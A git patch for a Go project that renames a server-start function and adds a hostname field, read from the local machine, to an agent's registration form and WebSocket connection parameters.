From 20afb2f216defd893e5ad89d3d26900135498911 Mon Sep 17 00:00:00 2001
From: Stefan Etringer <stefan.etringer@t-systems.com>
Date: Mon, 26 May 2025 15:06:49 +0000
Subject: [PATCH] added hostname parameter

---
 main.go                              |  4 ++--
 src/agentconnector/agentconnector.go | 31 ++++++++++++++++++++--------
 2 files changed, 24 insertions(+), 11 deletions(-)

diff --git a/main.go b/main.go
index 23bc720..1406e08 100644
--- a/main.go
+++ b/main.go
@@ -491,7 +491,7 @@ func handler(w http.ResponseWriter, r *http.Request) {
 	tmpl.Execute(w, data)
 }
 
-func startMainServer() (int, net.Listener) {
+func startInteractiveServer() (int, net.Listener) {
 
 	http.HandleFunc("/", handler)
 	http.HandleFunc("/upload", fileUploadHandler)
@@ -529,7 +529,7 @@ func main() {
 	// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
 	// log.Fatal(http.Serve(listener, nil))
 
-	port, listener := startMainServer()
+	port, listener := startInteractiveServer()
 
 	var wg sync.WaitGroup
 	wg.Add(2)
diff --git a/src/agentconnector/agentconnector.go b/src/agentconnector/agentconnector.go
index abace7b..bf3d872 100644
--- a/src/agentconnector/agentconnector.go
+++ b/src/agentconnector/agentconnector.go
@@ -7,6 +7,7 @@ import (
 	"net/http"
 	"net/url"
 	"os/exec"
+	"os"
 	"time"
 	"math/rand"
 	"math"
@@ -30,6 +31,7 @@ type Agent struct {
 	InitialContact 	string `json:"initialContact"`
 	LastContact     string `json:"lastContact"`
 	AddPort 		string `json:"addPort"`
+	HostName        string `json:"HostName"`
 }
 
 type Message struct {
@@ -39,7 +41,7 @@ type Message struct {
 
 var conn *websocket.Conn
 
-func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error {
+func registerAgent(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
 
 	form := url.Values{}
 	form.Add("agentId", agentId)
@@ -47,6 +49,7 @@ func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error
 	form.Add("agentType", agentType)
 	form.Add("IPv4Address", agentIp)
 	form.Add("addPort", addPort)
+	form.Add("hostname", hostname)
 
 	resp, err := http.PostForm(registerURL, form)
 	if err != nil {
@@ -62,8 +65,17 @@ func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error
 	return nil
 }
 
-func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
-	wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentId), url.QueryEscape(agentIp), url.QueryEscape(agentType), url.QueryEscape(addPort))
+func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
+	wsURL := fmt.Sprintf(
+		"ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s&hostname=%s",
+		webSocketAddr,
+		url.QueryEscape(agentName),
+		url.QueryEscape(agentId),
+		url.QueryEscape(agentIp),
+		url.QueryEscape(agentType),
+		url.QueryEscape(addPort),
+		url.QueryEscape(hostname),
+	)
 	var err error
 	for {
 		conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
@@ -78,13 +90,13 @@ func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string)
 	}
 }
 
-func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
+func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname string) error {
 	backoff := 2 * time.Second
 	maxBackoff := 1 * time.Minute
 
 	for {
 		log.Println("Attempting to reconnect to WebSocket...")
-		err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort)
+		err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname)
 		if err == nil {
 			log.Println("Reconnection succesful.")
 			return nil
@@ -100,14 +112,14 @@ func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string
 	}
 }
 
-func listenForCommands(agentName, agentId, agentIp, agentType, addPort string) {
+func listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname string) {
 	defer conn.Close()
 
 	for {
 		_, rawMessage, err := conn.ReadMessage()
 		if err != nil {
 			log.Printf("Connection lost: %v", err)
-			if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort); reconnectErr != nil {
+			if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); reconnectErr != nil {
 				log.Printf("Critical error during reconnection: %v", reconnectErr)
 				}
 			continue
@@ -165,6 +177,7 @@ func StartServer(agentInteractivePort int){
 	agentIp := "127.0.0.1"
 	agentType := "Interactive"
 	addPort := strconv.Itoa(agentInteractivePort)
+	hostname, _ := os.Hostname()
 
 	log.Printf("AgentId: %s", agentId)
 
@@ -174,9 +187,9 @@ func StartServer(agentInteractivePort int){
 	// 	log.Fatalf("Agent registration failed: %v", err)
 	// }
 
-	if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort); err != nil {
+	if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort, hostname); err != nil {
 		log.Fatalf("Websocket connection failed: %v", err)
 	}
 
-	listenForCommands(agentName, agentId, agentIp, agentType, addPort)
+	listenForCommands(agentName, agentId, agentIp, agentType, addPort, hostname)
 }